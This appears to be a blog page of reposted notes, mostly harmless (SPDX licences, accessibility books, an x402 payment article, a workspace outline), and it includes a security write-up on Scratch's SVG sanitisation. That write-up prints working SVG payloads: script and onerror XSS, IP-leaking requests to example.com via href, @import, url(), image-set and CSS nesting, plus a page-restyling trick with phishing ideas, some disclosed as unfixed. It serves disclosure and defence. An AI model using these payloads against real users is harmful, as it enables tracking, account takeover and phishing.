Showing posts with label Standards. Show all posts
Showing posts with label Standards. Show all posts

SPDX License List

Mike's Notes

A fantastic resource. Will use it to sort out open-source licensing.

"System Package Data Exchange (SPDX, formerly Software Package Data Exchange) is an open standard capable of representing systems with digital components as bills of materials (BOMs).[2] First designed to describe software components, SPDX can describe the components of software systems, AI models, software builds, security data, and other data packages. SPDX allows the expression of components, licenses, copyrights, security references and other metadata relating to systems.[3]

The original purpose of SPDX was to improve license compliance,[4] and it has since been expanded to facilitate additional use cases such as supply-chain transparency and security.[5] SPDX is authored by the community-driven SPDX Project involving key industry experts, organizations, and open-source enthusiasts under the auspices of the Linux Foundation.

The SPDX specification is recognized as the international open standard for security, license compliance, and other software supply chain artifacts as ISO/IEC 5962:2021. As of August 2025, the latest version of the standard has been 3.0.1.[1]" - Wikipedia

Legal advice

Edwin Lim, a lawyer at Hudson Gavin Martin (HGM), is my go-to for licensing advice.

Resources

References

  • ISO/IEC 5962:2021

Repository

  • Home > Ajabbi Research > Library >
  • Home > Handbook > 

Last Updated

13/10/2026

SPDX License List

By: 
SPDX: 16/09/2026

...

The SPDX License List is an integral part of the SPDX Specification. The SPDX License List itself is a list of commonly found licenses and exceptions used in free and open or collaborative software, data, hardware, or documentation. The SPDX License List includes a standardized short identifier, the full name, the license text, and a canonical permanent URL for each license and exception.

The purpose of the SPDX License List is to enable efficient and reliable identification of such licenses and exceptions in an SPDX document, in source files or elsewhere.

License Exceptions are commonly found exceptions to free and open source licenses, used with the License Expression operator, "WITH" to create a license with an exception.

The matching guidelines define what constitutes a license or exception match. The license text on the HTML pages here will display omitable text in blue and replaceable text in red (see Guideline #2 for more information).

Explanation of fields used on the SPDX License List

  • License inclusion principles for adding new licenses or exceptions to the SPDX License List
  • Contribute to the project or request a new license
  • Use short identifiers in your source code
  • Github repo
  • Machine readable data files for the SPDX License List

[Example of data]

Note: You can sort by each column by clicking on the column header. By default, the table sorts by the Identifier column.

Full name Identifier FSF Free/Libre? OSI Approved?
BSD Zero Clause License 0BSD Y
3D Slicer License v1.0 3D-Slicer-1.0
Attribution Assurance License AAL Y
Abstyles License Abstyles
AdaCore Doc License AdaCore-doc
Adobe Systems Incorporated Source Code License Agreement Adobe-2006
Adobe Display PostScript License Adobe-Display-PostScript
Adobe Glyph List License Adobe-Glyph
Adobe Utopia Font License Adobe-Utopia
Amazon Digital Services License ADSL
Advanced Cryptics Dictionary License Advanced-Cryptics-Dictionary
Academic Free License v1.1 AFL-1.1 Y Y
Academic Free License v1.2 AFL-1.2 Y Y
Academic Free License v2.0 AFL-2.0 Y Y
Academic Free License v2.1 AFL-2.1 Y Y
Academic Free License v3.0 AFL-3.0 Y Y
Afmparse License Afmparse

Deprecated License Identifiers

SPDX endeavors to never change the SPDX license identifiers. However, sometimes there has been a compelling reason to deprecate a license identifier, such as to accommodate improved SPDX license expressions or when we have found a duplicate license. When a license identifier is "deprecated" on the SPDX License List, it effectively means that there is an updated license identifier and the deprecated license identifier, while remaining valid, should no longer be used. The URL to each deprecated license is retained and those license pages are updated to note the deprecation. Some reasons for deprecation are as follows:

  • Release 2.0 of the SPDX Specification introduced License Expressions that supports the ability to identify common variations of SPDX-identified licenses without the need to define each potential variation as a distinct license on the SPDX License List. This new syntax supports the ability to declare an SPDX-identified license exception using the "WITH" operator (e.g. GPL-2.0-or-later WITH Autoconf-exception-2.0), as well as the ability to use a simple "+" operator after a license short identifier to indicate "or later version". SPDX has defined a list of license exceptions to use after the "WITH" operator. As a result, a number of licenses formerly included on the SPDX License List have been deprecated, and correct usage employs the License Expression syntax as of v2.0.
  • Release 3.0 replaced previous Identifiers for GNU licenses with more explicit Identifiers to reflect the "this version only" or "any later version" option specific to those licenses. As such, the previously used Identifiers for those licenses are deprecated as of v3.0.
  • Other licenses may have been deprecated for the reasons noted.

[Example of data]


Full name Identifier Deprecated as of:
Affero General Public License v1.0 AGPL-1.0 3.1
GNU Affero General Public License v3.0 AGPL-3.0 3.0
BSD 2-Clause FreeBSD License BSD-2-Clause-FreeBSD 3.10
BSD 2-Clause NetBSD License BSD-2-Clause-NetBSD 3.9
bzip2 and libbzip2 License v1.0.5 bzip2-1.0.5 3.16
eCos license version 2.0 eCos-2.0 2.0rc2
GNU Free Documentation License v1.1 GFDL-1.1 3.0
GNU Free Documentation License v1.2 GFDL-1.2 3.0
GNU Free Documentation License v1.3 GFDL-1.3 3.0

Digital Accessibility Training

Mike's Notes

I stole this content from all over the place. Sorry if I didn't credit you; I forgot where this came from. All useful stuff.

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library >
  • Home > Handbook > 

Last Updated

04/08/2026

Digital Accessibility Training

By: Mike Peters
On a Sandy Beach: 04/06/2026

Mike is the inventor and architect of Pipi and the founder of Ajabbi.

Accessibility For Everyone (https://lnkd.in/dVvgMG29), a wonderful free book on web accessibility for designers, developers, content folks — pretty much everyone. Written 9 years ago, but still very much relevant today. With sections on disabilities, impairments, planning for accessibility, design and testing. Kindly released by Laura Kalbag.

Free Books on Accessibility

Giving A Damn About Accessibility, by Sheri Byrne-Haber (disabled)

PDF: https://lnkd.in/eqbz5Npw

  • Audio: https://lnkd.in/emYMbEDc

Web Accessibility In Plain Language, by Charlie Triplett

  • https://lnkd.in/e2AMAwyt

AccessAbility Playbook, by Government of Canada

  • https://lnkd.in/e2W3viJb

Appt Accessibility Handbook, by Jan Jaap de Groot, Paul van Workum CPACC

  • https://lnkd.in/e3V7eTU9

Accessibility Foundations (Free Guide), by Henny Swan

  • https://lnkd.in/erGd9vX7

WCAG 2.2 Card Deck (Updated!), by Johannes Lehner

  • https://lnkd.in/eQgDsY9j

Free Practical Books For Designers

  • https://lnkd.in/dsxAukXq

And a *HUGE* thanks yet again to wonderful Laura Kalbag and everyone sharing their insights, learnings, and experiences in wonderful resources like these — for everyone to learn from and build open. Your work doesn’t go unnoticed!

The woes of sanitising SVGs

Mike's Notes

MIT Scratch is a really great way to learn to code visually. A great article by Thomas Weber about some things with SVG use that need fixing.

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library > Subscriptions > Amazing CTO
  • Home > Handbook > 

Last Updated

07/05/2026

The woes of sanitising SVGs

By: Thomas Weber
Muffin Ink: 11/04/2026

Worked on TurboWarp, Scratch Addons, forkphorus.

Scratch has a long history of SVG-related vulnerabilities. The source of these is that Scratch parses user-generated (ie. attacker-controlled) content into an <svg> element and appends it into the main document for various operations (eg. measuring SVG bounding box in a more reliable way than viewbox or width/height).

No matter how briefly the SVG remains in the main document, this is an inherently unsafe operation. Scratch's approach to making this safe has been to build increasingly complex infrastructure around parsing the SVG and the markup within to remove dangerous parts.

I think Scratch's approach to SVG sanitization is doomed. To explain, we have to take a trip through the history of SVG sanitization in Scratch to see how well it has worked so far.

2019: XSS via <script> tag

In 2019, a few months after the initial release of Scratch 3, Scratch discovered that SVGs can contain <script> tags that Scratch would cause to be executed when the SVG loads. This is known as an XSS.

In Scratch terms, an XSS allows an attacker to take actions on behalf of anyone that loads their project. For example, the attacker can post comments, delete projects, or otherwise try to take over the victim's account. In Scratch Desktop, XSS is elevated to arbitrary code execution because Scratch Desktop enables Electron's dangerous Node.js integration feature. (TurboWarp Desktop has not enabled that feature since v0.2.0 from March 2021)

Example from Scratch's test suite:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
      alert('from the svg!')
  ]]></script>
</svg>

This was fixed by using a regular expression to remove script tags.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2020: XSS via oversights in previous fix (CVE-2020-7750)

In 2020, apple502j discovered that XSS is still possible. It turns out that the previous fix is utterly defective and can be bypassed by capitalizing <SCRIPT> because the regex is case-sensitive, among several other ways to bypass it. Even if the regex were implemented correctly, it would still not work because there are other ways to embed JavaScript in an SVG. For example, one can use an inline event handler:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

This was fixed by using DOMPurify to remove scripts from the SVG before scratch-svg-renderer appends it into the document.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2022: HTTP leak via <image> href

In 2022, it was discovered that using the href property on an <image> element, an attacker can create an SVG that will invoke an external request when it is loaded. It turns out that while DOMPurify removes executable code, it does not protect against HTTP leaks because "there are too many ways of doing that and our tests showed that it cannot be done reliably".

In Scratch terms, an HTTP leak means that a Scratch user can log the IP of anyone that loads their project, possibly revealing information such as location or school district. The victim would not need to click on any links; the IP log happens just by loading the project. Scratch seems to consider this a security bug, and I agree.

Example:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/ping"/>
</svg>

This was fixed by adding DOMPurify hooks to remove href properties from all elements if the URL refers to a remote website.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2023: HTTP leak via CSS @import

In 2023, it was discovered that using a CSS @import statement inside of a <style> element, an attacker could create a project that invokes external requests when the project loads. Example:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url("https://example.com/ping");
  </style>
</svg>

This was fixed by integrating a CSS parser written in JavaScript to remove dangerous parts of the CSS. They would parse all stylesheets contained in SVGs, remove any @import statements, and convert the CSS back to a string if any changes were made so that the dangerous stuff is removed.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2024: XSS via Paper.js

In 2024, I discovered an XSS in Paper.js, a library Scratch uses in the costume editor. It turns out that while Scratch sanitized SVGs before working on them in scratch-svg-renderer, unsanitized SVGs were still being passed to Paper.js. This has largely the same impact as the 2020 scratch-svg-renderer XSS, but occurs when using the costume editor instead of when initially opening a project. Example:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

This was somewhat fixed on an extremely delayed timeline by extending the existing SVG sanitization code to run when loading an SVG, not just when processing it in scratch-svg-renderer. This means that Paper.js will only receive SVGs that have already been sanitized.

I say "somewhat fixed" because I'm not sure if that sanitization ever runs for server-downloaded SVGs. Scratch support told me they "have protections against this that are handled on our server side" which may make that redundant. I have never seen any evidence of such protections while developing proof-of-concepts, but maybe they are real.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2025: HTTP leak via CSS url()

In 2025, it was discovered that using url() inside of certain CSS rules, an attacker can create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!-- inline style -->
    <rect style="background-image: url(https://example.com/ping)" />
    <!-- can also use a <style> element -->
    <style>
        .img {
            background-image: url("https://example.com/ping");
        }
    </style>
    <rect class="img" />
</svg>

This was fixed by substantially expanding the SVG sanitization code to also search for any usage of url() and remove any styles or attributes referencing external URLs.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2026: HTTP leak via several bugs in the previous code

In 2026, it was discovered that using url() inside of certain CSS rules, it is still possible for an attacker to create an SVG that will invoke an external request when it is loaded. It turns out there were at least three unique bugs that each allowed an HTTP leak:

  • Did not account for CSS allowing one to write out url(...) using escape codes
  • Did not handle a style attribute having more than one url(...) inside it, where the first one is safe but the second one is not
  • Did not handle url() defined in a CSS variable and referenced via var(--name)

Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <circle fill="\75\72\6c(https://example.com/ping)" />
    <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" />
    <style>
        :root {
            --example: url(https://example.com/ping);
        }
        .img {
            background-image: var(--example);
        }
    </style>
    <rect class="img" />
</svg>

This was fixed by adding a substantial amount of additional complexity around code that was already way too complex.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2026: Full page restyling via long transitions

In 2026, it was discovered that through clever use of very long transitions and forcing the browser to restyle all elements, an attacker can apply arbitrary styles to the full Scratch page that last until refresh. Most uses of this have been "fun" things, but here's a few ideas about more evil things you might be able to do:

Hiding the report button.

Making the like/favorite buttons cover the entire page, so that users are tricked into clicking them.

Display text telling the user that they need to open a website in a new tab to "verify" their account (some phishing page). Users are likely to trust the instructions because the message is coming from the real scratch.mit.edu.

Example project (not mine): https://scratch.mit.edu/projects/1299571218/

This will probably get fixed at some point, but today what you'll see is this:

Scratch project page, but all the page background colors are very obviously wrong.

This project uses two SVGs. The first one is the "trigger":

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Trigger
  </text>
  <style>
    /* Force browser to recalc styles to activate first SVG */
    *, * *, * * *, * * * * {
      transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important;
      transition: all 9999s ease !important;
      filter: blur(0px) !important;
    }
  </style>
</svg>

The second one contains the styles to display:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Styles
  </text>
  <style>
    /* Global background blue */
    * {
      background-color: blue !important;
      color: white !important;
    }
    /* Project instructions/description styling */
    .project-description, .instructions-container {
      background-color: yellow !important;
      color: black !important;
      border: 10px solid red !important;
      transform: scale(1.1) !important;
    }
  </style>
</svg>

I won't pretend to fully understand what's going on here or why it works non-deterministically, but my general understanding is:

The trigger SVG applies transform and filter to every element in the document to forcibly make the browser recompute all styles right away, applying styles from the other SVG.

The trigger SVG applies a very long transition so that when the other SVG is removed, the styles will stick around for the duration of the "transition"

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

2026: HTTP leak via image-set()

I reported this one to Scratch in 2025. They didn't fix it, so whatever, I'll disclose it here. Any reasonable disclosure period lapsed 6 months ago.

Instead of using url(), an attacker can use image-set() to create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        image-set(...) can cause external resources to be requested without using url() at all.
    -->
    <style>
        .image-set-with-string-url {
            background-image: image-set("https://example.com/ping" 1x);
        }
    </style>
    <rect class="image-set-with-string-url" />
    <!--
        image-set(url(...)) works the same as image-set(...).
        This already gets blocked by the existing sanitization.
    -->
    <style>
        .image-set-with-inner-url-function {
            background-image: image-set(url(https://example.com/ping) 1x);
        }
    </style>
    <rect class="image-set-with-inner-url-function"></rect>
    <!--
        image-set() can also be used in inline style attributes.
    -->
    <rect style="background-image: image-set('https://example.com/ping' 1x)" />
</svg>

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

20XX: HTTP leak via new CSS features

I also reported this one to Scratch in 2025. This bug actually doesn't work today, but will in the future if browsers ever implement all of CSS Units Level 4 or CSS Images Level 4. Today, Ladybird is the only browser to implement either of these, but major browsers could implement them someday as well.

Instead of using url(), an attacker can use src() or image() to create an SVG that makes an external request when it loads. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        Everything in this file relies on features that are defined in the browser specs, but not yet implemented in any browser.
        In theory, future browsers might initiate requests when they see these styles.
    -->
    <!--
        CSS Units Level 4 defines src(...) as an alternative to url(...).
        Unlike url(), src()'s URL can be any expression, not just a constant string.
        Reference: https://www.w3.org/TR/css-values-4/#example-a2ee15a6
        Not implemented by any major browser today. (Only implemented in the experimental Ladybird browser)
    -->
    <style>
        .src-constant {
            background: src('https://example.com/ping');
        }
        .src-variable {
            --url: 'https://example.com/ping';
            background: src(var(--url));
        }
    </style>
    <rect class="src-constant" />
    <rect class="src-variable" />
    <!--
        CSS Images Level 4 defines image() as an alternative to url() for images.
        Reference: https://www.w3.org/TR/css-images-4/#image-notation
        Not implemented by any major browser today.
    -->
    <style>
        .image {
            background: image('https://example.com/ping', black);
        }
    </style>
    <rect class="image" />
    <!-- Same as above examples, but using inline styles -->
    <rect style="background: src('https://example.com/ping');" />
    <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" />
    <rect style="background: image('https://example.com/ping', black);" />
</svg>

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

This is unsustainable

Stacking more and more complexity into sanitization is clearly a doomed approach. We are more than 5 major revisions deep and yet there are still known holes. People are actively sharing projects on the Scratch website bypassing SVG sanitization. And the moment browsers decide to implement the latest CSS specs, even more holes will open up.

Furthermore, not all of these problems have clear solutions. For full page styling, both SVGs seem completely benign: there is no JavaScript or references to external resources. The fix would likely be to remove transition styles since the transitions would never run in Scratch anyway, but are you sure that's sufficient? Will you remember to also remove all the vendor-prefixed versions of transition? What about animation styles?

Some other possible cases that might allow more bypasses in the future:

css-tree (the library Scratch uses to parse CSS) and the real CSS parsers in browsers might not completely match. If so, css-tree might parse CSS such that everything looks fine and thus nothing gets removed, but then the browser's real parser does recognize external content.

Advanced new CSS features such @property or native nesting that css-tree versions might not be able to meaningfully parse without constant updates.

Browsers can always add new functions that can reference external content as they have already done with image-set() and the spec implies will happen for src() and image(). How will you keep up with the constant change in these specs to evaluate every new function and see if it could somehow allow referencing external content?

An alternative

TurboWarp (a Scratch fork I work on) was unaffected by the 2026 HTTP leaks and full page restyling issue. This isn't because I found all the clever ways for an SVG to do something bad; in fact I actually deleted the CSS sanitization code entirely to make packaged projects 400KB smaller.

I implemented an alternative approach of sandboxing the SVG inside of an iframe. First, we set up an iframe with a sandbox property of allow-same-origin. This will block script execution inside the iframe, but still let us interact with the contents inside.

Second, we set up the iframe with the following hardcoded HTML:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:">
    </head>
    <body></body>
</html>

The inline Content-Security-Policy is set up to block all scripts and only allow loading safe resources from safe data URLs. We also still use DOMPurify to remove obviously evil things from the SVG. We then put the iframe into the document offscreen somewhere so that the measurement APIs Scratch needs will still work.

This approach gives us some very nice properties:

The browser uses its pre-existing code to do the hard part for us.

TurboWarp doesn't need to know about all the ways for an SVG to make a request. Your browser already knows this and will enforce it for any new APIs that get added.

Real-world CSP implementations are not perfect and have holes. However, those holes generally are weird edge cases that require the attacker to already be executing JavaScript in some way. Those vulnerabilities are also considered browser security issues so they have bug bounties attached to them.

The SVG can't affect the main document.

Consider the case of the full page restyling. Because the SVG is trapped inside of an iframe, the only thing it can restyle is the iframe. The styles in the iframe do not matter, so that's perfectly fine.

You can find our code here:

scratch-svg-renderer fork

paper.js fork

Maybe you can do some other interesting stuff with shadow DOM or other web APIs, but we found that the iframe is working fine for us.

The below sections will cover any new issues I become aware of after publication.

2026-04-12: Claude finds HTTP leak via CSS nesting relaxed syntax

After publishing this, I was curious how well current language models are at finding these bugs. I told Claude Opus 4.6 to clone the scratch-editor repo, look at the recent SVG renderer changes, and see if there were any holes. Results were interesting:

Claude discovered on its own that image-set(...) is not sanitized and can cause HTTP leaks.

Claude discovered a new issue not described in the original version of this post.

The bug involves CSS nesting, which can appear in two forms. The nested style can prefix the selector with an & or instead just not prefix it (the latter being known as "relaxed" syntax). Modern browsers interpret both of the below identically.

g {
    & rect {
        background-image: url(https://example.com/ping);
    }
}
g {
    rect {
        background-image: url(https://example.com/ping);
    }
}

css-tree is capable of parsing the &-prefixed version into a meaningful syntax tree that Scratch can sanitize. However, it turns out that css-tree does not know how to parse the relaxed version. The entire div { ... } block is parsed as a "raw text" node which Scratch's code will not sanitize. Full example SVG:

<svg xmlns="http://www.w3.org/2000/svg">
    <style>
        g { rect { background-image: url(https://example.com/ping); } }
    </style>
    <g><rect></rect></g>
</svg>

Earlier in this post, I mentioned that "css-tree and the real CSS parsers in browsers might not completely match". This is a real-world example of that kind of bug allowing CSS to bypass sanitization. Note that css-tree currently has 48 open issues and certainly many more unknown ones. I believe depending on css-tree to be a perfect parser is a hopeless path that will continue to result in more vulnerabilities. TurboWarp's SVG sandbox fixed this bug before I even knew it existed.

This is not fixed. The css-tree issue for this bug has been open since December 2023.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

Open Payment Standard x402 Expands Capabilities in Major Upgrade

Mike's Notes

A need-to-know for handling payments in the future.

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library > Subscriptions > InfoQ
  • Home > Handbook > 

Last Updated

22/03/2026

Open Payment Standard x402 Expands Capabilities in Major Upgrade

By: Sergio De Simone
InfoQ: 22/01/2026

Sergio De Simone is a software engineer. Sergio has been working as a software engineer for over twenty five years across a range of different projects and companies, including such different work environments as Siemens, HP, and small startups. For the last 10+ years, his focus has been on development for mobile platforms and related technologies. He is currently working for BigML, Inc., where he leads iOS and macOS development.

After six months of real-world usage, the open payment standard x402 has received a major update, extending the protocol beyond single-request, exact-amount payments. The release adds support for wallet-based identity, automatic API discovery, dynamic payment recipients, expanded multi-chain and fiat support via CAIP standards, and a fully modular SDK for custom networks and payment schemes.

"V2 is a major upgrade that makes the protocol more universal, more flexible, and easier to extend across networks, transports, identity models, and payment types. The spec is cleaner, more modular, and aligned with modern standards including CAIP and IETF header conventions, enabling a single interface for onchain and offchain payments."

x402 V2 offers a unified payment interface supporting stablecoins and tokens across multiple chains, including Base, Solana, and others, while maintaining compatibility with legacy payment rails such as ACH, SEPA, and card networks. It also introduces per-request routing to specific addresses, roles, or callback-based payout logic, enabling complex multi-step payment workflows.

Another enhancement in x402 V2 is the clear separation between the protocol specification, its SDK implementation, and facilitators (responsible for verifying and settling the payment on-chain), which improves extensibility and enables a modular, plug-in–based architecture.

The new standard also introduces wallet-based access, reusable sessions, and modular paywalls. Wallet support provides clients with greater flexibility, streamlining payment flows and reducing round-trip and latency for previously purchased items. Modular paywalls enable developers to integrate and extend new backend payment logic, fostering a more extensible ecosystem.

Finally, x402 V2 improves the developer experience by simplifying configuration through its modular design, adding support for choosing multiple facilitators simultaneously, and minimizing the amount of glue code or boilerplate required.

x402 is an open, web-native payment standard/protocol designed to make payments a first-class citizen of the internet. It enables micro-payments, pay-per-use, and machine-to-machine payments, allowing web apps, APIs, and autonomous agents (like AI bots) to pay for services directly over HTTP without traditional accounts, subscriptions, or complex payment flows. Within months, the protocol has processed over 100 million payment flows across APIs, web applications, and autonomous agents.

The protocol leverages the rarely used HTTP status code 402 (Payment Required) to signal when payment is required and to include payment instructions in the response. By using x402, payments can be executed directly within the HTTP request–response flow, eliminating the need to redirect users to external payment pages or to rely on API keys and personal accounts.

Cloudflare, as one of the original partners in the x402 Foundation alongside Coinbase, integrated support for the protocol into its developer tools and infrastructure. This includes both the Agents SDK, which allows developers to build agents capable of automatically making payments using x402, and MCP servers that expose x402-enabled tools and enable services to return 402 Payment Required responses and accept x402 payments from clients.

Workspaces for Agents

Mike's Notes

This is where I will keep detailed working notes on creating Workspaces for Agents. Eventually, these will become permanent, better-written documentation stored elsewhere. Hopefully, someone will come up with a better name than this working title.

This replaces the coverage in Industry Workspace dated 13/10/2025.

Testing

The current online mockup is version 3 and will be updated frequently.If you are helping with testing, please remember to delete your browser cache so you see the daily changes. Eventually, a live demo version will be available for field trials.

Learning

(To come)

Why

(To come)

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library >
  • Home > Handbook > 

Last Updated

2/01/2026

Workspaces for Agents

By: Mike Peters
On a Sandy Beach: 29/12/2025

Mike is the inventor and architect of Pipi and the founder of Ajabbi.

Open-source

This open-source SaaS cloud system will be shared on GitHub and GitLab.

Dedication

This workspace is dedicated to the life and work of ??.

Person

Source:

" - Wikipedia


Change Log

Ver 3 includes config and tools.

Existing products

Features

This is a basic comparison of features in alternative software.

[TABLE]

Data Model

words

Database Entities

  • Facility
  • Party
  • etc

Standards

The workspace must comply with all applicable international standards.

  • (To come)

Data Centre Variables

Source: Krobar.ai simulation model (beta)

Node Name Type Estimates / Formula
Potential Customers Input Variable discrete_normal distribution
Server density per rack Input Variable discrete_normal distribution
Agreement conversion rate Input Variable beta distribution
Racks per agreement Input Variable discrete_normal distribution
Customer provisions virtual servers Calculation Step binomial(round(max(0,average(Market demand,Potential Customers))),average(Provider evaluation rate,Evaluation Rate,Evaluation rate))
Total revenue Calculation Step Server lease cost
Networking revenue per server Input Variable Normal(μ=200.0, σ=60.790273556231)
Evaluation Rate Input Variable beta distribution
Agreement Conversion Rate Input Variable beta distribution
Average Servers per Rack Input Variable discrete_normal distribution
Racks per Agreement Input Variable discrete_normal distribution
Monitoring & support Calculation Step Servers installed * Monitoring hours per server
Lease agreement conversion rate Input Variable beta distribution
Networking cost per server Input Variable Normal(μ=65.0, σ=21.27659574468085)
Average Racks per Agreement Input Variable discrete_normal distribution
Market demand Input Variable Normal(μ=2750.0, σ=3335.8549916376046)
Servers per Rack Input Variable discrete_normal distribution
Power costs Calculation Step Servers installed * Power cost per server + Fixed power costs
Storage revenue per server Input Variable Normal(μ=175.0, σ=75.98784194528875)
Evaluation rate Input Variable beta distribution
Servers per rack Input Variable discrete_normal distribution
Space and power provisioned Calculation Step round(max(0, Lease agreement signed) * average(Racks per agreement,Average Racks per Agreement,Racks per Agreement))
Lease agreement signed Calculation Step binomial(round(max(0, Customer evaluates providers)), average(Lease agreement conversion rate,Agreement Conversion Rate,Agreement conversion rate))
Cooling costs Calculation Step Servers installed * Cooling cost per server + Fixed cooling costs
Provider evaluation rate Input Variable beta distribution
Storage cost per server Input Variable Normal(μ=70.0, σ=30.3951367781155)
Total operating cost Calculation Step Power costs+Cooling costs+Monitoring & support+Server lease cost
Customer evaluates providers Calculation Step binomial(round(max(0, average(Market demand,Potential Customers))), average(Provider evaluation rate,Evaluation Rate,Evaluation rate))
Networking revenue Calculation Step Customer provisions virtual servers*Networking revenue per server
Server lease cost Calculation Step Servers installed * Depreciation cost per server
Networking cost Calculation Step Customer provisions virtual servers*Networking cost per server
Profit (pre-tax) Calculation Step Total revenue-Total operating cost
Storage revenue Calculation Step Customer provisions virtual servers*Storage revenue per server
Storage cost Calculation Step Customer provisions virtual servers*Storage cost per server
Fixed power costs Input Variable Normal(μ=12500.0, σ=11119.516638792014)
Fixed cooling costs Input Variable Normal(μ=9000.0, σ=8895.613311033612)
Backup revenue per server Input Variable Normal(μ=175.0, σ=185.32527731320025)
Backup cost per server Input Variable Normal(μ=27.5, σ=33.35854991637604)
DR revenue per server Input Variable Normal(μ=350.0, σ=370.6505546264005)
DR cost per server Input Variable Normal(μ=85.0, σ=96.36914420286412)
Average Power Consumption per Server Input Variable Normal(μ=0.425, σ=0.2594553882384803)
Power Cost per kWh Input Variable Normal(μ=0.13, σ=0.07413011092528009)
Hours per Period Input Variable discrete_normal distribution
Average Cooling Cost per Server per Period Input Variable Normal(μ=25.0, σ=22.239033277584028)
Server Purchase Cost Input Variable Normal(μ=5000.0, σ=4447.806655516806)
Server Useful Life (Periods) Input Variable discrete_normal distribution
Monitoring Hours per Server per Period Input Variable Normal(μ=2.25, σ=2.5945538823848033)
Renewal Rate Input Variable beta distribution
Lease cost per server per period Input Variable Normal(μ=1250.0, σ=1111.9516638792015)
Depreciation cost per server Input Variable Normal(μ=1100.0, σ=1334.3419966550418)
Monitoring hours per server Input Variable Normal(μ=55.0, σ=66.71709983275208)
Renewal rate Input Variable beta distribution
Power cost per server Input Variable Normal(μ=1100.0, σ=1334.3419966550418)
Cooling cost per server Input Variable Normal(μ=550.0, σ=667.1709983275209)
Servers installed Input Variable discrete_normal distribution
Depreciation Cost per Server Input Variable Normal(μ=1900.0, σ=1630.862440356162)
Monitoring Hours per Server Input Variable Normal(μ=55.0, σ=66.71709983275208)
Power Cost per Server Input Variable Normal(μ=800.0, σ=593.0408874022407)
Fixed Power Costs Input Variable Normal(μ=30000.0, σ=29652.04437011204)
Cooling Cost per Server Input Variable Normal(μ=400.0, σ=296.52044370112037)
Fixed Cooling Costs Input Variable Normal(μ=17500.0, σ=18532.527731320024)
Backup revenue Calculation Step Customer provisions virtual servers*Backup revenue per server
Backup cost Calculation Step Customer provisions virtual servers*Backup cost per server
Disaster recovery revenue Calculation Step Customer provisions virtual servers*DR revenue per server
Disaster recovery cost Calculation Step Customer provisions virtual servers*DR cost per server
Review and renew/cancel Calculation Step binomial(round(max(0, Lease agreement signed)), Renewal rate)

Simulation notes


Support

(To come)

Workspace navigation menu

This default outline needs significant work. The outline can be easily customised by future users via drag-and-drop and tick boxes to toggle features on and off.

  • Agent Account
    • Applications
      • Agent
        • ajx
        • alg
        • api
        • apl
        • aui
        • bor
        • brs
        • cde
        • cfg
        • cgi
        • cmd
        • cms
        • cnd
        • cnf
        • cny
        • cor
        • cpt
        • cpx
        • css
        • cte
        • ctx
        • cui
        • dao
        • dmn
        • dob
        • doc
        • dom
        • dpl
        • dsg
        • dta
        • dvp
        • eml
        • eng
        • fac
        • ffg
        • fil
        • fld
        • fnt
        • ftp
        • fui
        • int
        • iot
        • ips
        • kwd
        • lng
        • lnk
        • lob
        • loc
        • log
        • lop
        • lui
        • mim
        • mle
        • mod
        • mpg
        • msg
        • mta
        • mtr
        • nde
        • nsp
        • nte
        • obj
        • ont
        • oop
        • par
        • pge
        • phl
        • pkg
        • pln
        • plt
        • plu
        • plw
        • prm
        • pub
        • pui
        • rbn
        • rgn
        • rle
        • rls
        • rnd
        • scl
        • scr
        • sgp
        • spt
        • ssn
        • sta
        • sys
        • tem
        • tra
        • trn
        • tsk
        • udt
        • usa
        • usi
        • usp
        • usr
        • var
        • vct
        • ver
        • vfy
        • wai
        • wbs
        • wfl
        • wki
